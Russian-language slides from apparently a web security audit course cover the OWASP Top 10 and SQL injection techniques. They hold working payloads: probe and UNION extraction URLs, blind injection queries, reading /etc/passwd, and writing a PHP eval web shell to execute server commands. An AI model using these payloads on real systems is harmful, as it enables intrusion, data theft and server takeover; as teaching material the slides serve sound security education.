Вы находитесь на странице: 1из 17

Урок 8

Аудит безопасности веб-приложений


В уроке
• OWASP
• Типовые веб-уязвимости
• SQL Injections
• Beef Framework
OWASP
OWASP TOP 10 - 2013

• A1-Injection
• A2-Broken Authentication and Session Management
• A3-Cross-Site Scripting (XSS)
• A4-Insecure Direct Object References
• A5-Security Misconfiguration
OWASP TOP 10 - 2013

• A6-Sensitive Data Exposure


• A7-Missing Function Level Access Control
• A8-Cross-Site Request Forgery (CSRF)
• A9-Using Components with Known Vulnerabilities
• A10-Unvalidated Redirects and Forwards
SQL Injections
SQL Injection

• В строковом параметре
select * from table where title = “$_GET[‘title’]”
select id, name, title from table where user_agent =
‘$_SERVER[“HTTP_USER_AGENT”]’
• В цифровом параметре
select login, name from table where id = $_COOKIE[“id”]
select login, name from table where id = 1 limit $_POST[“limit”]
SQL Injection
SQL Injection

• http://vulnsite/?param=1’
• http://vulnsite/?param=1”
• http://vulnsite/?param=1’--
• http://vulnsite/?param=1’/*
• http://vulnsite/?param=1’#
• http://vulnsite/?param=1 order by 5
• http://vulnsite/?param=1 and 1=1--
• http://vulnsite/?param=1 and 1=2 --
• http://vulnsite/?param=1’ and ‘1’=‘1
• etc
SQL Injection

http://vulnsite/?id=1+order+by+5

select id, login, name from table where id = 1 order by 5

ERROR 1054: Unknown column ‘5’ in ‘order clause’


SQL Injection

http://vulnsite/?id=1+union+select+0,1,concat_ws(0x3a,param1,param
2)+from+other_table

select id, login, name from table where id = 1 union select


0,1,concat_ws(0x3a,param1,param2) from other_table

|0|1|param1_res:param2_res|
|0|1|param1_res:param2_res|
SQL Injection
BLIND SQL Injection

• Подбор первого символа у первой записи


http://vulnsite/?id=1+and+’ok’=if(ord(mid((select+login+from+users+li
mit+0,1),1,1))=97,’ok’,’fail’)

Select id, name from table where id = 1


and+’ok’=if(ord(mid((select+login+from+users+limit+0,1),1,1))=97,’ok’,’f
ail’)
• Подбор последующего символа у первой записи
http://vulnsite/?id=1+and+’ok’=if(ord(mid((select+login+from+users+li
mit+0,1),2,1))=97,’ok’,’fail’)
Работа с файловой системой

• Union select load_file(‘/etc/passwd’)


• Create table t(f varchar(max))
Load data infile ‘/etc/passwd’ into table t;
Select f from t;
• Union select 1 into otfile ‘t’
• Union select 1 into dumpfile ‘t’
Выполнение команд на сервере

• Запись веб-шелла в /www/images/shell.php на примере MySQL

/?param=1+union+select+’<?eval($_request[shell]);?>’+into+otfile+’/www/images/
shell.php’

• Выполнение команд на сервере

/images/shell.php?shell=system(‘ls -la’);
Beef Framework
Полезные ссылки
• https://www.owasp.org/index.php/Main_Page
• https://www.owasp.org/index.php/Top_10_2013-Top_10
• https://github.com/sqlmapproject/sqlmap/
• http://portswigger.net/burp/
• http://bit.ly/1IGMjLm (antichat sql inj)
• http://beefproject.com/

Вам также может понравиться